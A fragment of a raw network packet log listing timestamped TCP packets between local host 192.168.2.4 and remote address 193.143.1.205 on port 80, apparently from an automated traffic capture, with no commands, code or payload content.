Jan 11, 2025 03:37:48.813147068 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:48.813158035 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:48.813165903 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:37:48.813175917 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:48.813204050 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:37:48.813241959 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:37:48.813381910 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:48.813396931 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:48.813437939 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:37:48.817228079 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:37:48.841814995 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:48.841826916 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:48.841839075 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:48.841851950 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:48.841862917 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:48.841873884 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:48.841902018 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:37:48.841914892 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:48.841929913 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:48.841936111 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:37:48.841947079 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:48.841990948 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:37:48.842087984 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:48.842101097 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:48.842113018 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:48.842143059 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:37:48.842160940 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:37:48.842623949 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:48.842637062 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:48.842654943 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:48.842684984 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:37:48.842750072 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:48.842761993 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:48.842772961 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:48.842793941 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:37:48.842814922 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:37:48.857475042 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:37:48.868844032 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:37:48.870022058 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:48.870045900 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:48.870143890 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:37:48.870162010 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:48.870215893 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:48.870229006 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:48.870260954 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:37:48.870331049 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:48.870341063 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:48.870491982 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:37:48.871167898 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:48.871192932 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:48.871205091 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:48.871232033 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:37:48.871273994 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:37:48.871356010 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:48.871366024 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:48.871376991 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:48.871401072 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:37:48.871576071 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:48.871586084 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:48.871596098 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:48.871608019 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:48.871620893 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:37:48.871654987 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:37:48.871716976 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:48.871808052 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:37:48.871855021 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:48.871865988 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:48.871906996 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:37:48.871943951 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:48.871959925 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:48.871968985 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:48.871980906 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:48.872013092 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:37:48.872044086 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:37:48.872162104 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:48.872172117 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:48.872184992 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:48.872226954 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:37:48.872502089 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:48.872550964 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:48.872555971 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:37:48.872565985 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:48.872603893 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:37:48.872734070 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:48.872745991 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:48.872760057 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:48.872771978 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:48.872793913 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:37:48.872816086 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:37:48.873003960 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:48.873018026 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:48.873029947 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:48.873084068 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:37:48.873405933 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:48.873428106 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:48.873436928 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:48.873465061 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:37:48.873503923 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:37:48.873614073 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:48.873625040 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:48.873632908 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:48.873639107 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:48.873677969 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:37:48.873696089 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:37:48.873833895 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:48.873843908 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:48.873855114 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:48.873879910 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:37:48.874420881 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:48.874435902 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:48.874445915 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:48.874475956 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:37:48.874500990 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:37:48.874516010 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:48.874526024 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:48.874536991 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:48.874548912 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:48.874567986 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:37:48.874591112 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:37:48.874730110 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:48.874742031 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:48.874747992 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:48.874803066 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:37:48.875277996 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:48.875298977 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:48.875310898 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:48.875328064 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:37:48.875338078 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:48.875349045 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:48.875365973 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:37:48.875392914 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:37:48.875472069 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:48.875513077 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:48.875523090 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:48.875534058 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:48.875544071 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:48.875551939 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:37:48.875572920 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:37:48.876152039 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:48.876161098 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:48.876171112 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:48.876197100 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:37:48.876228094 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:37:48.876286983 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:48.876296997 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:48.876307964 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:48.876319885 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:48.876332998 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:37:48.876358032 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:37:48.876513958 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:48.876523018 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:48.876533031 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:48.876557112 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:37:48.877012014 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:48.877058029 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:37:48.877124071 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:48.877134085 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:48.877166033 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:37:48.888304949 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:37:48.891962051 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:37:48.901197910 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:48.901237965 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:48.901251078 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:48.901366949 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:37:48.901377916 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:48.901388884 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:48.901473045 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:48.901484013 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:48.901530027 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:37:48.901530027 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:37:48.901559114 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:48.901570082 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:48.901580095 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:48.901592016 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:48.901618004 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:37:48.901655912 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:37:48.901803017 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:48.901813030 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:48.901827097 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:48.901835918 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:48.901853085 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:37:48.901873112 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:37:48.929531097 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:48.929543972 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:48.929554939 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:48.929567099 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:48.929598093 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:48.929677963 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:48.929688931 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:48.929697990 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:37:48.929708958 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:48.929759026 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:48.929837942 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:48.929857969 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:48.929863930 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:37:48.929863930 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:37:48.929872990 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:48.929904938 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:37:48.929913998 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:48.929924011 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:48.929965019 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:37:48.929986954 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:48.929996967 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:48.930032969 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:37:48.930102110 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:48.930111885 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:48.930149078 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:37:48.958528042 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:48.958591938 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:48.958602905 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:48.958611012 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:37:48.958656073 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:37:48.958704948 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:48.958715916 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:48.958726883 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:48.958738089 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:48.958760977 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:37:48.958822966 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:37:48.959001064 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:48.959011078 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:48.959021091 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:48.959026098 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:48.959032059 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:48.959101915 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:37:48.959161043 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:48.959172964 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:48.959182978 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:48.959232092 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:37:48.959248066 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:37:48.959356070 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:48.959367990 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:48.959378004 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:48.959388971 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:48.959399939 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:48.959407091 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:37:48.959414959 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:48.959424973 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:48.959433079 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:37:48.959466934 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:37:48.959639072 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:48.959678888 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:37:48.959757090 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:48.959767103 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:48.959779024 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:48.959795952 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:48.959805012 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:37:48.959813118 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:48.959822893 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:48.959832907 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:48.959842920 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:37:48.959851027 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:48.959883928 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:37:48.959911108 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:37:48.960341930 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:48.960354090 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:48.960366011 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:48.960376024 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:48.960386038 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:48.960396051 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:48.960405111 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:37:48.960412025 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:48.960419893 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:48.960431099 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:48.960436106 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:48.960441113 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:48.960450888 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:37:48.960530043 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:37:48.960876942 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:48.960886955 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:48.960897923 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:48.960907936 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:48.960917950 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:37:48.960926056 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:48.960936069 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:48.960946083 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:48.960958958 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:48.960963011 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:37:48.960972071 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:48.962352037 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:37:48.962352037 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:37:48.963447094 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:48.963455915 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:48.963466883 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:48.963502884 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:37:48.963546991 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:48.963557959 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:48.963568926 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:48.963594913 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:37:48.963627100 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:37:48.963684082 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:48.963692904 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:48.963712931 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:48.963723898 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:48.963742971 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:37:48.963773012 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:37:48.963893890 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:48.963905096 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:48.963916063 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:48.963926077 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:48.963936090 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:48.963946104 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:48.963970900 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:37:48.964000940 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:37:48.964077950 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:48.964086056 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:48.964137077 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:37:48.964164972 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:48.964175940 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:48.964215994 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:37:48.964242935 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:48.964252949 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:48.964297056 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:37:48.964385986 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:48.964396000 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:48.964407921 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:48.964423895 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:48.964437008 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:48.964443922 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:37:48.964452982 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:48.964462042 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:48.964483976 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:37:48.964512110 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:37:48.964684963 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:48.964698076 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:48.964715004 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:48.964723110 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:37:48.964731932 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:48.964741945 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:48.964773893 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:37:48.964804888 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:37:48.964832067 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:48.964907885 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:48.964917898 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:48.964948893 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:37:48.989973068 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:48.990000010 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:48.990010977 CET	80	49730	193.143.1.205	192.168.2.4
Jan 11, 2025 03:37:48.990092993 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:37:48.990127087 CET	49730	80	192.168.2.4	193.143.1.205
Jan 11, 2025 03:37:48.990133047 CET	80	49730	193.143.1.205	192.168.2.4
